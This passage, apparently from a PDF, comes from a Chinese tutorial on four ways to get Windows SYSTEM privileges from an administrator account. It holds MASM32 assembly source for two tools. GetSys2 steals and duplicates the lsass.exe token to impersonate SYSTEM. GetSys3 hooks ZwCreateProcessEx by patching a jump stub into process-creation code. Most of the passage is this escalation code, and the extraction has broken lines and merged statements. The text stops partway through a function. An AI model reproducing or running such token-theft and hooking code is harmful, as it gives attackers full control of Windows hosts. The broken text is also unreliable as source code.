从管理员身份获得SYSTEM-权限的四种方法
LOCAL stProcess : PROCESSENTRY32 LOCAL hSnapshot LOCAL dwProcessID
mov dwProcessID, 0
invoke RtlZeroMemory, addr stProcess, sizeof stProcess mov stProcess.dwSize, sizeof stProcess
invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0 mov hSnapshot, eax
invoke Process32First, hSnapshot, addr stProcess .while eax
invoke lstrcmpi, lpProcName, addr stProcess.szExeFile .if eax==0
mov eax, stProcess.th32ProcessID mov dwProcessID, eax .break .endif
invoke Process32Next, hSnapshot, addr stProcess .endw
invoke CloseHandle, hSnapshot mov eax, dwProcessID ret
_GetPidFromProcName endp end start
16 / 33
从管理员身份获得SYSTEM-权限的四种方法
:make
set path=%path%;c:\\masm32\\bin set appname=GetSys2
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj del %appname%.obj echo. pause
GetSys2 取得 lsass.exe 进程的令牌,缺省情况下操作这个令牌的权限很小, 所以需要先取得操作这个令牌的所有权限。这个任务由函数 _ModifySecurity 来完成。 有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用 CreateProcessAsUser
函数运行 regedit.exe 程序了。有关安全性编程不清楚的地方可以参考[3]。
3. HOOK ZwCreateProcessEx 函数
有关这个[1]里面讲得很清楚了,下面直接给出源代码。
;@echo off ;goto make
;=====================================================================
17 / 33
从管理员身份获得SYSTEM-权限的四种方法
===============
; 以 SYSTEM 权限运行程序 - GetSys3 ; 采用 HOOK ZwCreateProcessEx 函数的方法
;==================================================================================== .386
.model flat, stdcall option casemap :none
include c:\\masm32\\include\\windows.inc include c:\\masm32\\include\\kernel32.inc include c:\\masm32\\include\\advapi32.inc include c:\\masm32\\include\\masm32.inc
includelib c:\\masm32\\lib\\kernel32.lib includelib c:\\masm32\\lib\\advapi32.lib includelib c:\\masm32\\lib\\masm32.lib
_EnablePrivilege proto :DWORD,:DWORD _GetPidFromProcName proto :DWORD _HackedZwCreateProcessEx proto
CTXT MACRO text local lbl
18 / 33
从管理员身份获得SYSTEM-权限的四种方法
.const lbl db text,0 .code exitm ENDM
ASMJMP struct
mov_eax BYTE ? address DWORD ? jmp_eax WORD ? ASMJMP ends .data?
g_hProc dd ? g_dwFunc dd ? .code start proc
LOCAL osvi : OSVERSIONINFO LOCAL lpAsmJmp
LOCAL mbi : MEMORY_BASIC_INFORMATION LOCAL stStartupInfo : STARTUPINFO LOCAL procinfo : PROCESS_INFORMATION
sub eax, eax
19 / 33
从管理员身份获得SYSTEM-权限的四种方法
mov lpAsmJmp, eax
invoke RtlZeroMemory, addr osvi, sizeof osvi invoke RtlZeroMemory, addr mbi, sizeof mbi
invoke RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo invoke RtlZeroMemory, addr procinfo, sizeof procinfo
mov osvi.dwOSVersionInfoSize, sizeof osvi invoke GetVersionEx, addr osvi cmp osvi.dwMajorVersion, 5 jnz _exit
.if osvi.dwMinorVersion==1 mov g_dwFunc, 30h .elseif osvi.dwMinorVersion==2 mov g_dwFunc, 32h .endif
invoke _EnablePrivilege, CTXT(\
invoke _GetPidFromProcName, CTXT(\ test eax, eax jz _exit
invoke OpenProcess, PROCESS_CREATE_PROCESS, TRUE, eax test eax, eax jz _exit
20 / 33